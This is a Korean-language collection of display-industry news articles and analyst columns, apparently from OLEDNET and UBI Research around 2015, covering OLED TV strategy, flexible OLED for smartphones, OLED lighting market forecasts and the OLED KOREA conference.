일본의 TV 사업이 도태된 세 번째 이유는 프리미엄 TV를 만들지 못한 것이다. LCD TV에서 경쟁력을 상실한 Sony는 시장 지배력 강화를 위해 4K TV로서 시장 부활을 노렸지만, 이미 브랜드 가치가 하락하고 마케팅력이 상실되었기 때문에 뒤이어 추격한 삼성전자와 LG전자 등에 시장을 쉽게 내주게 되었다. LCD TV는 이미 일본 기업이 만드나 한국 기업이 만드나 차이가 없으며 브랜드 가치는 역전되었기 때문이다. 중국 기업들이 생산하는 LCD TV 수준도 이미 정상에 도달했다. 더 이상 짝퉁을 만드는 기업들이 아니다. 더구나 LCD 패널 제조 기술은 한국과 일본, 대만, 중국이 대등하다고 봐도 무방한 시대가 되었다.

일본 TV 사업이 시장 확보를 하지 못하고 있는 마지막 이유는 프리미엄 TV에서 차별화 포인트를 제시하지 못하기 때문이다. 기본적으로 LCD TV로서는 차별화를 시킬 수 없다. 현재 TV 시장에서 가장 큰 차별화 요소는 화질과 디자인이다. 어떤 기업이든지 얇은 LCD TV와 curved LCD TV는 만들 수 있다. LCD가 할 수 있는 패널 사이즈, 해상도, QD-LED를 사용한 색재현율은 더 이상 차별화된 노하우가 될 수 없다. 한국과 일본, 대만, 중국의 LCD 패널과 TV 제조 기술 격차는 이미 1년 이내이기 때문에 어떤 제품을 내놓아도 시장 지배 유효 기간은 겨우 1년에 불과하다. 시장에서 제품 홍보에 필요한 6개월 정도 기간이 소요되는 것을 감안하면 이익을 낼 수 있는 기간은 더욱 줄어든다.

한국 TV 사업이 살아 남을 수 있는 대안은 무엇일까?

이미 수년간 수 십 차례 언급하였지만 남은 것은 OLED TV 뿐이다. LCD가 할 수 없는 화질과 디자인은 OLED에서는 가능하기 때문이다. 즉 프리미엄 TV 시장에서 차별화 시킬 수 있는 핵심 요소는 LCD가 아닌 제품뿐이다.

기존의 프리미엄 TV는 IPTV로 이미 2000년대 초반 일본 TV 업체들이 추구해 온 시장이다. TV를 이용해 인터넷을 하며 쌍방향으로 정보를 교환하는 방식이다. TV를 보면서 TV에 나오는 정보를 인터넷으로 검색한다는 것이 IPTV의 기본 개념이다. 하지만 현재 사회에서 과연 IPTV라는 개념이 유효한지에 대해서는 의문이다. 왜냐하면 smart phone으로 정보를 검색하고 인터넷을 하며, TV까지 보게 된 지금 시대에서 IPTV의 실효 가치는 점차 낮아지기 때문이다. TV에서 인터넷을 할 이유가 없기 때문에 full white 휘도가 높은 TV 제품이 과연 필요한지에 대해서는 TV 업체들이 다시 한번 심각하게 고민해야 한다. 고휘도의 white TV 보다는 오히려 TV 그 자체 기능에 충실하게 돌아가야 할 시점인 것이다. TV 화면은 full white 기준 20~30% 정도의 밝기만 사용한다. 영화는 야외 촬영이 많기 때문에 20% 이하로 떨어지며 오히려 야간에 촬영된 콘텐츠는 black이 더욱 중요하다.

“black”과 디자인을 고려하면 답이 어디에 있는지는 누구도 찾을 수 있다. OLED를 LCD처럼 밝게 만들려는 어리석은 생각만 버리면 미래는 있다.

LG OLED UHD TV, SID 2015

LG OLED UHD TV, SID 2015

Samsung OLED UHD TV, IFA 2013

Samsung OLED UHD TV, IFA 2013

 

LG디스플레이, plastic OLED 정조준

Apple이 smart watch를 한국 시장에서도 본격적으로 출시함에 따라 LG디스플레이의 plastic OLED 사업에 대한 관심이 폭증하고 있다.

OLED 개발은 삼성디스플레이와 유사한 시기에 시작하였으나 OLED 잠재력과 시장성에 대한 오판으로 시장 진입이 늦어 rigid OLED 사업을 접어야만 했던 LG디스플레이는 plastic OLED 사업에서는 경쟁업체인 삼성디스플레이와 같은 보조를 취하며 개발과 사업화를 가속하고 있다.

이미 LG디스플레이는 2013년 11월에 LG전자가 판매한 G Flex에 plastic OLED를 공급했다. 패널 크기는 6인치였지만 해상도가 HD급에 불과해 같은 시기에 판매되기 시작한 삼성전자의 FHD OLED에 비해서는 해상도가 부족하다는 지적이 있었다.

올해에는 해상도 단점을 보완하여 FHD plastic OLED 생산에 성공하여 무사히 G Flex2에 사용되었으며, 동시에 LG전자가 판매하고 있는 G Watch와 Urbane에도 패널을 공급하고 있다.

삼성전자는 플레그쉽 모델인 Galaxy S6에 flexible OLED를 전격적으로 탑재하고 마케팅을 강화함에 따라 상대적으로 smart watch는 시장 지배력이 약하다. 이에 따라 삼성디스플레이 역시 현재 생산중인 flexible OLED는 5.5인치 제품을 주로 생산하고 있다.

하지만 LG디스플레이는 경쟁 업체와는 다른 사업 전략으로 plastic OLED 사업을 진행하고 있다. 시장 지배력이 약한 smart phone용 plastic OLED 보다는 이미 시장에서 호응을 받고 있는 smart watch용의 소형 plastic OLED 생산에 집중하고 있다.

더욱이 삼성전자의 최대 라이벌인 Apple이 smart watch 시장에서 돌풍을 일으킴에 따라 Apple에 plastic watch를 공급하고 있는 LG디스플레이는 눈 코 뜰 시간 없이 바쁘게 패널 생산에 주력하고 있다. 더불어 Apple의 차기 smart watch용 plastic OLED 공급도 이미 확보하고 있어 비록 capa는 삼성디스플레이에 비해 열세지만 라인은 활발히 가동 중에 있다.

LG디스플레이는 Apple사와의 관계를 더욱 돈독히 하기 위해 조만간 Gen6 plastic OLED 라인 투자도 결정할 예정이다. 이미 Apple은 차기 iPhone 시리즈에 flexible(plastic) OLED 탑재를 신중히 검토하고 있으며, 제품 공급선을 원할히 하기 위해 LG디스플레이에 Gen6 라인 투자를 요청한 것으로 분석되고 있다.

삼성디스플레이에 비해 고객사 역량이 낮은 LG디스플레이는 Apple이라는 거대 공룡 기업과 공생 관계를 구축함에 의해 OLED 패널 사업에서 확실한 교두보를 확보할 것으로 기대된다.

LG Display’s Flexible Automotive Display, SID 2015

LG Urbane, WIS 2015

Apple의 차기 iPhone, Flexible OLED 적용할 수 있을까?

스마트폰 시장에서 하드웨어성능은 높아질 만큼 높아져 더 이상 차별화 포인트가 될 수 없어졌다. 이에 따라 Samsung의 Galaxy Note4 Edge와 S6 Edge, LG의 G-flex 시리즈는 기존의 flexible(plastic) AMOLED panel을 적용하여 새로운 디자인과 기능으로 기존 제품과 차별화 하고 있다. 특히 Galaxy S6 Edge는 기대보다 높은 수요를 보이고 있어 전체 Galaxy S6와 S6 Edge의 비율을 약 8:2 에서 7:3정도로 예상했었지만 현재는 약 5:5 정도가 될 것으로 예상되고 있다. 이에 따라 Samsung Display에서도 물량을 맞추기 위해 A3 line의 본격 가동하고 A2 line의 rigid line을 flexible line으로 전환투자를 진행하였다.

이처럼 차세대 스마트폰 시장에서 flexible OLED에 대한 관심이 높아지면서 Apple도 차기 제품에 flexible OLED를 적용할 것이라는 소문이 무성하다. 유비산업리서치에서 18일에 발간한 “Flexible OLED Annual Report”에서는 Apple의 flexible OLED 적용 가능성과 예상 시나리오를 분석하였다.

Flexible OLED Annual Report에 따르면, Samsung Display 이외에 flexible AMOLED를 양산할 수 있는 기술을 가진 업체는 LG Display가 유일하며, Japan Display와 AUO도 flexible AMOLED 제조 기술을 보유하여 투자가 이루어진다면 양산은 가능할 것으로 분석된다. 따라서, Apple이 2017년에 출시될 iPhone series에 flexible OLED를 적용하기 위해서는 LG Display와 Japan Display 또는 AUO의 Gen6 flexible AMOLED line 투자가 2015년 안에 이루어져야 할 것으로 보았다. 하지만 Japan Display와 AUO의 양산 기술은 검증되지 않았기 때문에 현재 양산을 진행하고 있는 LG Display의 Gen6 line 투자 시점에 따라 flexible OLED가 적용된 iPhone을 볼 시점이 정해질 것으로 내다봤다.

또한 iPhone series의 그 동안의 판매 추이를 분석하여 앞으로 출시될 신 모델의 출하량을 분석한 결과, 2020년 Apple의 flexible AMOLED가 적용된 모델들의 출하량을 소화하기 위해서는 Gen6 기준 월 약 170K(가동률과 수율 고려)가 필요한 것으로 나타났다. 이는 최근 추세가 1 line당 20K인 것을 감안하면 약 8~9개의 flexible AMOLED line이 필요한 것으로, Apple 향(向)의 flexible AMOLED line 투자가 본격적으로 이루어질 것으로 예상된다.

한편 flexible AMOLED 시장은 2016년부터 연평균 57%로 성장하여 2020년에 약 US$ 35,000 million의 시장을 형성할 것으로 내다봤다.

견고한 조명산업 major 업체들의 시장 지배력, OLED lighting이 뒤흔든다.

조명산업의 핵심 업체는 Osram과 Philips, Panasonic, GE Lighting 등으로 전체 조명시장의 약 70%를 차지하며 견고한 진입장벽을 구축하고 있다. 또한 핵심업체 중 대부분은 차세대 조명으로 OLED lighting 개발도 적극적으로 진행하며 매년 새로운 OLED lighting panel들을 공개하고 있어 차세대 조명시장에서도 핵심 역할을 할 것으로 대부분의 업계에서 예상하고 있다.

하지만 OLED lighting 시장이 활성화가 된다면 기존 핵심 조명업체들의 견고한 시장 지배력이 흔들릴 것으로 전망된다.

<표1. 전체 조명 시장 구도 전망>

유비산업리서치에서 발간한 “OLED Lighting Annual Report”에 따르면, major 조명업체들은 이미 LED lighting에 대한 대규모 투자가 이루어 졌기 때문에 투자비가 회수되기 전 까지는 OLED lighting에 대한 신규 투자를 할 여력이 없을 것으로 예상 했다. OLED lighting 시장이 활성화가 되기 위해서는 display 시장에서 push market으로 시장을 형성하듯이 LG Chem.과 Lumiotec등의 신규 OLED lighting 업체들이 공격적인 투자로 원가경쟁력을 확보하여 push market으로서 OLED lighting 시장을 형성해야 될 것으로 내다봤다. 또한 보고서에서는 공격적인 투자와 push market 전략으로 OLED lighting 시장 개화가 이루어 진다면 투자 시점을 놓친 major 업체들에서 투자를 먼저 진행한 신규 OLED lighting 업체들로의 조명시장 주도권이 넘어갈 것으로 전망하였다.

현재 OLED lighting 시장은 실내/실외 design과 shop, restaurant, medical, cosmetics등 특수 용도로서 시장을 형성해 나가고 있다. Konica Minolta에서는 이미 양산라인에 대한 투자가 완료되어 2014년 말부터 가동 중에 있으며 LG Chem.도 양산라인 투자를 긍정적으로 검토 중이다. OLED lighting panel의 본격적인 양산이 시작되면 특수조명 시장과 백열등과 형광등의 대체조명으로 시장을 확대할 것으로 예상되며, 주요 panel 업체들의 본격적인 양산을 통해 OLED lighting panel이 실내조명으로서 합리적인 가격을 확보하게 될 것으로 예상되는 시점인 2020년부터는 실내조명 시장에서 LED lighting 시장의 일부를 잠식하며 성장할 것으로 전망된다.

실내조명용 OLED lighting panel 시장은 2017년부터 연평균 성장률 약 90%로 급성장 할 것으로 전망되며 2025년에 US$ 5,700 million 규모가 될 것으로 예상된다. 또한 실내조명으로서 flexible OLED lighting panel은 일반 조명들이 적용되기 어려운 부분에 실내 interior용 조명으로 적용되어 2025년 OLED 실내조명 시장의 약 27%를 차지할 것으로 전망된다.

DDD

<표2. 실내조명 시장전망>

100x100mm OLED lighting panel원가, US$ 2.5 도 가능하다.

세계적으로 환경문제가 대두됨에 따라 세계 각국에서 친환경 정책을 도입하고 있다. 조명은 세계 연간 이산화 탄소 배출량 중 약 19억톤을 차지하며 환경규제의 큰 이슈로 부각되고 있다. 또한 세계 전력소모 중 25%를 소비하고 있어 에너지 절감에도 필요한 중요한 분야이다. 이에 따라 기존의 메인 조명이었던 백열등에 대한 규제가 시작되었으며, 형광등도 본격적인 규제가 예상되어 차세대 조명 시장이 크게 성장할 전망이다.

차세대 조명으로서 각광받고 있는 LED는 고효율과 긴 수명을 장점으로 백열등과 형광등을 대체해가며 빠르게 시장을 넓혀가고 있다. OLED조명은 유해한 물질과 빛이 없고 높은 에너지 효율을 가진 조명으로써 친환경, 에너지절약 정책에 가장 적합한 차세대 조명으로 관심을 받고 있지만 LED 대비 높은 가격으로 예상보다 시장 성장이 늦어지고 있다.

유비산업리서치가 14일 발간한 “OLED Lighting Annual Report”에서는 1270×1270 size의 장비에서 100x100mm을 양산할 경우 양산 3년차부터 OLED lighting panel의 원가가 US$ 5 이하로 떨어지며, 10년차에는 US$ 2.5까지 내려가는 것으로 분석했다. (1분 tact time / single stack 가정) 현재 백열등과 형광등이 US$ 1~3 보다는 비싼 가격이지만, 실내조명용 LED 전구(60~70lm/W) 약 US$ 10 보다는 훨씬 저렴한 가격이다. 또한 현재 OLED lighting panel은 백열등과 형광등보다 우수한 효율과 수명으로 양산되고 있고 LED와 대등한 수준의 효율로 개발되고 있다. 이러한 점들을 감안하고 OLED lighting panel업체들의 본격적인 양산투자가 이루어 진다면 조명시장에서 빠른 속도로 점유율이 증가할 것으로 예상된다.

“OLED Lighting Annual Report”에는 OLED lighting panel 양산 초기에는 자동차용이나 의료용, cosmetic용, 전시용 등 주조명이 아닌 OLED lighting의 장점을 활용할 수 있는 분야 위주로 시장을 형성할 것으로 예상되나 원가경쟁력을 갖춘 후에는 빠른 속도로 광원 시장에서의 점유율을 넓혀갈 것으로 예상했다. 또한 flexible이나 transparent등 OLED lighting이 가질 수 있는 특성들을 이용한 차별화된 제품을 통해 고부가가치의 광원 시장을 창출할 수 있을 것으로 내다 보았다. 이에 따라 전체 광원 시장에서 OLED ligthig panel 시장은 2020년에 US$ 2,800 million 규모로 성장하여 전체 광원시장의 약 10%를 차지할 수 있을 것으로 전망했다.

 

 

[Analyst Column] 한국 디스플레이 사업, 청신호 켜지나?

이충훈 / 유비산업리서치 수석애널리스트

출처 : 유비산업리서치

한국 디스플레이 패널 사업이 5분기간의 약세를 끝내고 성장세를 뚜렷하게 나타내고 있다. 삼성전자와 LG디스플레이의 2015년 1분기 실적 발표에 의하면 한국 디스플레이 1분기 매출 합계는 14.07조원으로서 지난 분기에 비해서는(QoQ)  -9%를 기록하였지만 지난 해 동 분기 대비(YoY) 20% 상승하였다.최근 2년간 가장 실적이 나빴던 분기는 2013년 4분기였다. 크리스마스 시즌이 있는 4분기는 계절적 수요에 의해 가장 실적이 좋은 것이 일반적인 흐름이나 2013년은 오히려 3분기보다 실적이 떨어졌다. 하지만 2014년은 매 분기 매출이 증가하며 일반적인 흐름에 따르는 결과를 보여주고 있다.

이번 분기 실적에 의하면 2015년 한국 디스플레이 패널 사업은 성장 패턴에 속할 것으로 분석된다. 이번 분기와 지난 분기의 YoY가 각 각 1년 전 동 분기에 비해 14%와 20%의 성장을 보여주고 있기 때문이다.

출처 : 유비산업리서치

최근 한국 디스플레이 사업이 회복세를 나타내고 있는 것은 LG디스플레이의 실적이 지속적으로 상승하고 있기 때문이다. 양사의 매출 점유율은 3분기 연속 LG디스플레이가 50% 이상을 차지하며 시장을 이끌고 있다.

LG디스플레이의 실적 향상은 Apple iPhone 6 실적 향상에 기인하는 것으로 분석된다. 하지만 iPhone6의 출하량이 증가할수록 경쟁업체인 삼성전자의 Galaxy 실적이 하락할 가능성이 높아 삼성디스플레이의 실적 역시 둔화될 수 있다.

하지만 세계 최대 smart phone 제조사인 삼성전자와 Apple의 시장 점유율에 따라 양사에 디스플레이를 공급하는 삼성디스플레이와 LG디스플레이의 실적에 희비가 갈리겠지만, 한국 디스플레이 산업은 두 회사를 통한 꽃놀이 패를 가지고 있기 때문에 디스플레이 산업은 지속 성장을 유지할 것으로 예상된다.

[Analyst Column] 삼성이 OLED TV를 할 수 밖에 없는 이유와 기술 개발 방향 분석

이충훈, 유비산업리서치 수석 애널리스트

2014년 삼성디스플레이의 매출 실적과 영업 이익이 분기에 따라 심각하게 요동치자 연말에 BCG 컨설팅과 함께 경영 진단을 실시했다. 결론 중 하나는 Gen10 LCD 투자와 함께 TV용 대면적 OLED 투자로 알려져 있다.

Gen10 LCD 라인 투자는 정보화 사회로 인해 확장되는 디스플레이 산업과 공격적인 투자를 지속하는 중국 디스플레이 업체들에 대한 대응 방안이며, 대면적 OLED 라인 투자는 LCD 보다 화질이 우수한 OLED TV 시장 확대에 대비하고 투자를 지속하고 있는 최대 경쟁 업체인 LG의 WRGB OLED TV 시장 확장을 견제하기 위한 전략으로 해석된다.

이 두 가지 방안은 디스플레이 전문가라면 누구나 도출할 수 있는 당연한 결론이다.

그러나 한국의 디스플레이 전문가라면 Gen10 LCD 라인 투자는 한국 실정에는 맞지 않음 또한 누구나 알고 있다. 이유는 한국에서 Gen10 LCD 라인을 투자하여 시장 점유율을 확대해도 중국 디스플레이 업체에 대한 가격 경쟁력이 약하기 때문이다. 한국 디스플레이 기업들은 양품만 판매하고 있어 최대 수율은 90~95가 한계이나, 중국 시장은 소비자층이 고가의 TV를 쉽게 구매할 수 있는 부유층과 저가 제품을 요구하는 소비자층 또한 그 숫자가 막대하여 불량이 있는 디스플레이 패널도 시장에서 팔릴 수 있는 특성을 보유하고 있다. 중국 디스플레이 업체들은 자국 내에서 공장을 가지고 있는 저가형 TV 생산 업체들과의 긴밀한 유대관계를 통해 상대적으로 품질이 떨어지는 패널 또한 팔 수 있다. 이론적으로는 100%에 가까운 수율을 확보할 수 있어 패널 가격을 낮출 수 있다. 더불어 중국 정부의 지원과 값싼 공장 건설비용은 중국 디스플레이 업체들의 가격 경쟁력을 한층 더 높여 준다.

일본 디스플레이 업체들이 한국 디스플레이 업체들에게 LCD 시장을 양보 할 수 밖에 없었던 이유 역시 한국 기업과의 가격 경쟁력 확보가 어려웠기 때문에 LCD 투자를 지속할 수 없었기 때문이다. Sharp는 Gen10 라인까지 공격적으로 투자를 지속하였지만 결과는 누적되는 적자로 인한 모바일 기기용 소형 LCD 라인 매각 결정이다.

삼성디스플레이가 Gen10 투자를 결정하면 아마 Sharp와 유사한 길을 걷게 될 가능성이 매우 높아 매출 증대 보다는 리스크가 증대되기 쉽다. 삼성전자는 화질은 우수하나 가격이 높은 한국 기업의 LCD 패널로서 TV를 만드는 것보다 가격이 낮으면서도 화질이 우수한 중국 기업들의 LCD 패널로서 TV 사업을 끌고 가는 것이 보다 효과적이다. 삼성디스플레이 내에서 Gen10 투자에 대한 이야기가 나오지 않는 것은 디스플레이 산업을 잘 이해하고 있는 전문가들이 있다는 증거로 해석된다.

Quantum dot 기술을 적용한 LCD TV인 SUHD TV에 총력을 기울이고 있는 현재의 삼성전자 사업 전략과 달리 OLED TV 생산을 위한 대형 라인 투자 결정은 삼성의 사업 전략 변화를 요구하는 결론이다. 삼성전자는 CES2015에서 SUHD TV와 OLED TV를 비교 전시하여 LCD TV가 OLED TV 보다 화질이 우수함을 강조했다. SUHD TV가 OLED TV 보다 경쟁력이 높으면 굳이 투자할 가치가 없다.

하지만 smart phone 시장으로 넘어가면 이야기가 달라진다. 삼성전자의 플래그 쉽 모델인 Galaxy 시리즈는 모두 AMOLED를 사용하고 있기 때문이다. 삼성전자가 Galaxy 판매에 사용하고 있는 차별화 전략 중 하나가 바로 OLED이기 때문이다. 삼성전자 무선 사업부는 “OLED”라는 단어가 들어간 smart phone으로서 전세계 마켓 쉐어를 20%까지 확장했다. 최근에는 flexible OLED를 사용한 Galaxy S6 edge가 초인기를 누리고 있다.

TV를 생산하는 삼성전자의 VD 사업부 보다 2배 이상의 매출을 내고 있는 smart phone 사업부인 IM은 OLED가 LCD 보다 화질이 우수함을 장점으로 사업을 진행하고 있어 OLED가 LCD 보다 화질이 낮다고 강조하는 VD 사업부의 마케팅 방식은 삼성전자 스스로가 제품 판매에 대단한 모순을 가지고 있다. QD-LCD가 좋으면 Galaxy S 시리즈도 당연히 QD-LCD 패널로 대체해야 할 것이다. Smart phone에서는 OLED 화질이 우수하고 TV 에서는 LCD가 우수하다는 것은 제품에 따라 논리를 바꾸는 매우 이율 배반적인 부분이다. 이러한 이중적인 행태는 소비자가 삼성전자 이야기는 믿을 수 없는 “양치기 소년”으로 전락시키는 결과를 낼 수도 있다. 향후 삼성전자의 smart phone 시장 확대를 위해서는 VD 사업부에서도 OLED TV를 생산하여 “삼성전자 = OLED”라는 등식이 성립해야 완전한 사업 전략이 구축된다.

이것이 바로 삼성이 OLED TV를 해야 하는 이유이다.

그러나 문제는 산적해 있다. 2013년에 생산한 삼성전자의 OLED TV는 LG전자 OLED TV에 비해 완성도와 화질이 낮음이 유비산업리서치의 화질 보고서와 OLEDNET 기사에 의해 제기되었고, 그 후 삼성전자는 OLED TV 생산을 중지하였다. 사실상 LG전자 제품 보다 자사의 OLED TV가 경쟁력이 없음을 시인한 것이다.

이유는 TV 완성도가 낮았음도 있지만 근본적인 이유는 삼성디스플레이가 제조하는 RGB 구조의OLED 패널 제조 방식과 특성이 LG디스플레이가 생산하는 WRGB 구조의 OLED에 비해 생산성과 화질에서 경쟁력이 없었던 것이다.

RGB OLED는 소형 AMOLED와 유사하게 fine metal mask를 사용하기 때문에 현재 기술로서는 Gen8 원장의 유리로서 OLED 패널 제작이 불가능하여 Gen8 유리를 6분할한 증착 장비를 사용 할 수 밖에 없다. LG디스플레이의 WRGB OLED는 백색광과 칼라필터로서 픽셀을 제조하기 때문에 fine metal mask가 필요 없어 Gen8 원장에서도 OLED 패널 제작이 가능하다. 경쟁업체인 LG디스플레이가 Gen8 증착 장비 한대를 사용하고 있는 것과 비교하면 산술적으로는 6대의 증착 장비가 필요한 것이다. 증착 장비 증대는 당연히 투자비 상승을 수반하기 때문에 패널 제조 원가가 LG디스플레이에 비해 높을 수 밖에 없다.

삼성디스플레이는 TFT 제조 비용에서도 LG 디스플레이에 비해 상대적으로 경쟁력이 낮다. 삼성디스플레이가 사용하는 LTPS-TFT 공정은 8~9장의 mask 공정이 필요하나, LG디스플레이는 4~5장이 소요되는 oxide TFT를 사용하고 있다. 따라서 LCD 라인을 OLED 라인으로 개조할 때 투자비를 최소화 할 수 있는 장점이 있다. 삼성디스플레이가 기존 LCD 라인을 OLED 라인으로 개조하기 위해서는 LTPS-TFT 제조에 막대한 자금을 투입해야 한다. 삼성디스플레이가 기존 200K LCD 공장을 OLED 라인으로 개조하면 capa 역시 90K 정도로 줄어드나, LG디스플레이는 capa 손실 없이 200K 규모를 유지할 수 있다. 기존 LCD 라인을 개조하여 OLED를 생산 할 경우 LG디스플레이는 추가 공장 건설이 필요 없지만, 삼성디스플레이는 산술적으로 동일한 규모의 공장을 더 지어야 한다.

Encapsulation 기술에서도 LG디스플레이가 유리하다. LG디스플레이는 hybrid encapsulation 기술을 사용하고 있다. OLED 소자 제작 완료 후 2~3층의 passivation막을 형성하여 방습 구조를 만든 후 점착 필름이 라미네이션 된 metal foil을 passivation 막 상부에 합착하여 OLED 패널 제작을 완료한다. 삼성디스플레이가 2013년에 양산한 TV용 OLED 패널 역시 hybrid encapsulation 구조를 사용하였다. 차이점은 상부 기판이 유리였다. 그러나 LG디스플레이가 encapsulation 기술을 도용하였다고 주장하여 현재는 dam & fill 방식의 hybrid encapsulation 기술을 개발하고 있다. 삼성디스플레이의 hybrid encapsulation 기술인 dam & fill 방식은 소자 상부에 passivation 막을 형성하는 것은 LG디스플레이와 동일하나 그 이후 패널 외각에 유기물로써 형성된 dam에 ODF(one drop filling) 방식으로 경화제를 도포한 후 유리 기판을 합착하고 경화하는 공정을 사용한다. Dam 제조가 PDL(pixel define layer) 공정과 동시에 진행되면 좋으나 일반적으로 PDL층은 TFT 상부에 형성되어 있고 dam 구조는 패널 외각에 형성되어 있어 단차가 발생할 수 있어 상부 기판 합착에 어려움이 발생할 수 있다. 더욱이 dam의 높이가 PDL 보다 낮으면 최근 TV 트랜드인 curved design 구현에 불리하다. 따라서 dam 형성 공정을 passivation 완료 후 수행하게 되면 추가적인 mask 공정이 필요하여 추가 장비 투자로 인한 코스트 상승을 유발하게 된다. 삼성디스플레이의 encapsulation 공정은 연속적으로 진행되나 LG디스플레이의 공정은 경화 필름을 metal foil에 부착한 후 양품만을 골라 합착 공정으로 보낼 수 있어 상대적으로 수율 관리에도 유리하다. 더욱이 LG디스플레이는 상부 기판으로써 metal foil을 사용하고 있어 curved design 구현과 패널에서 방출되는 열을 제거하기에도 유리하다. Dam & fill 방식은 액상 경화형 레진을 미리 충진한 후 상부 기판을 합착하기 때문에 수십 um 두께의 metal foil 합착 보다는 수백 um 두께의 유리 기판을 사용하는 것이 보다 공정에 적절하다. 이 경우에는 metal foil을 사용할 수 없어 추가적인 방열 재료가 요구된다. Encapsulation 공정에서도 LG디스플레이 기술이 양산성이 우수하며 제조 비용을 줄일 수 있는 장점이 있다.

결론적으로 삼성디스플레이가 TV용 OLED 패널 사업에 다시 들어가기 위해서는 기존에 개발한 LTPS-TFT 공정과 RGB OLED, dam & fill encapsulation 기술 보다는 LG디스플레이가 사용하고 있는 oxide TFT 구조와 WRGB OLED 구조, 점착 필름을 사용하는 lamination 방식의 encapsulation 구조를 사용하는 것이 사업에 유리하다.

삼성디스플레이는 대형 OLED 패널 사업에 재 도전하기 위해 기존 대면적 OLED팀을 삼성디스플레이의 OLED 최고 전문가인 김성철 부사장이 이끄는 연구소 산하 조직으로 재배치하였다. OLED 패널 제조 기술 방향에 대해서는 아직 공식적인 논평이 없지만 OLED TV 사업이 성공하기 위해서는 LG디스플레이와 동일한 기술을 사용하는 것이 바람직하다.

삼성디스플레이는 다년간의 OLED 패널 양산 경험과 수천명의 우수한 OLED 엔지니어를 확보하고 있어 리소스 차원에서는 LG디스플레이 보다 유리하다.

남은 것은 특허와 의사 결정이다.

 

 

[Finetech Japan 2015] 세 번째 Display 혁명, OLED가 이루나

4월 8일 개막한 Finetech Japan 2015의 keynote session에서 LG Display의 윤수영 상무는 “TV 시장의 첫 번째 혁명은 흑백에서 컬러로 바뀐 것 이며, 두 번째 혁명은 CRT에서 PDP, LCD등의 flat panel display로 바뀐 것으로 세 번째 혁명은 OLED가 이룰 것” 이라고 발표하였다.

윤 상무는 “기존에는 display 업체들의 투자위주로 시장이 형성되었지만 앞으로는 차별화와 새로운 application을 통해 시장이 창출되고 디자인 자유도와 풍부한 색감 등의 화질이 핵심 포인트가 될 것”이라며, “여기에 가장 적합한 display는 OLED”라고 발표하였다.

윤 상무가 언급한 OLED의 차별화 포인트는 다른 display보다 기판을 다양한 소재로 변경이 용이하여 flexible과 transparent 구현에 유리하다는 것과 완벽한 black 표현을 통한 color gamut control이다.

특히 “LCD도 QD등의 기술을 통해 OLED를 넘어서는 color gamut을 구현하였지만 이것은 full white일 때 이며, 중간계조에서는 BLU로 구동하는 LCD로는 color control이 힘들다. 하지만 OLED는 무한대의 명암비로 black를 완벽하게 표현할 수 있어 중간계조 이하에서도 완벽하게 color control이 가능하다”라며 OLED가 신기술을 적용한 LCD보다 차세대 display로써 적합함을 강조하였다.

이러한 OLED의 장점을 바탕으로 LG Display는 올해 60만대, 내년 140만대의 TV용 OLED panel 출하를 목표로 하고 있어 대면적 OLED TV 시장을 개척하기 위해 앞장서고 있으며, plastic OLED panel의 본격적인 양산으로 차세대 display 시장을 OLED로서 이끌고 나가기 위해 적극적으로 나서고 있다. 또한 Samsung Display도 A3 line의 본격적인 양산을 시작으로 다시 한번 OLED 시장에 활력을 불어 넣을 것으로 예상되며, 중국업체들의 본격적인 양산 시작도 OLED가 차세대 display로서 주도권을 잡는데 한 몫을 할 것으로 예상된다.

윤수영 상무, Finetech Japan 2015

By Yu Jin Hong, reporter@olednet.co.kr

OLED, 대화합의 장이 펼쳐졌다!

그 동안 찢어졌던 한국의 OLED 산업에 대화합의 장이 펼쳐졌다. 1OLED KOREA에서 OLED 산업의 양대 축인 삼성디스플레이와 LG디스플레이가 나란히 참여하여 OLED 산업의 미래를 같이 조망하며 한국의 OLED 산업과 더불어 세계의 OLED 산업이 일치 단결하여 디스플레이 미래를 열어가기 위한 시동을 걸었다.

한국의 OLED 산업에 균열이 가기 시작한 것은 삼성만이 OLED 패널을 제조하던 시대에서 LG디스플레이가 55인치 OLED 패널 생산을 시작하자 양측은 서로의 기술이 도용 당했다고 검찰에 고발하게 된 것이 계기가 되었다. 양사 대표는 지난주 상호간의 소송을 종결하기로 발표하였다. 삼성의 기술 유출 사건은 재판이 종료되었지만 LG 기술 유출 사건은 아직 검찰의 공소가 진행 중에 있다. 형사 사건이기 때문에 검찰의 공소 취하가 이루어져야만 모든 것이 끝난다.

유비산업리서치는 삼성과 LG의 싸움에서 비롯된 한국 산업 분열을 종식 시키고 더 나아가 전세계 OLED 산업 역량을 집결시키기 위해 지난 2OLED KOREA를 개최하였다. 삼성디스플레이와 LG디스플레이를 포함하여 한국과 일본, 중국의 OLED 전문가 16명이 OLED 산업의 미래를 전망하고 OLED 산업이 성공하기 위한 다양한 주제가 발표되었다.

컨퍼런스 종료 후 개최된 VIP 파티에 참여한 약 40명의 산학연 전문가들은 삼성이 있어서 이번 컨퍼런스가 성공할 수 있었다고 논평하였으며, OLED KOREA 컨퍼런스와 파티에 참석하여 발표 내용을 면밀히 청취하고 주요 발표자들과 면담한 이창훈 상무는 과거에도 그랬지만 앞으로도 삼성이 OLED 산업의 축이 되어 한국과 전세계 OLED 산업을 끌고 갈 것임을 언급하였다. VIP 파티에 참석한 전문가들은 향후 OLED KOREAOLED 제품 생산 위주의 한국이 OLED 산업의 메카가 될 수 있도록 기여해 줄 것을 당부하였다.

By Da Rae Kim, reporter@olednet.co.kr

 

OLED KOREA Conference

미리 보는 OLED Korea

OLED 전문 시장 조사 기관인 유비산업리서치에서 한국 최초로 OLED 국제 비즈니스 컨퍼런스를 역삼동 소재 과학기술회관에서 4월2일 개최한다. 한국이 OLED 산업을 주도하고 있음에도 불구하고 아직 국제적인 비즈니스 컨퍼런스가 없었다. OLED패널을 생산하고 판매만 했지 한국을 중심으로 한 OLED 산업의 국제적인 네트워크가 없었던 것이다.

하드웨어 위주의 기술로만 구성된 한국 OLED 패널 산업을 산업을 지속 성장 시키고 발전 시킬 수 있는 소프트 웨어를 가미하기 위해 전세계 OLED 전문가들을 한자리에 모이기 위한 시도를 유비산업리서치에서 시작한다.

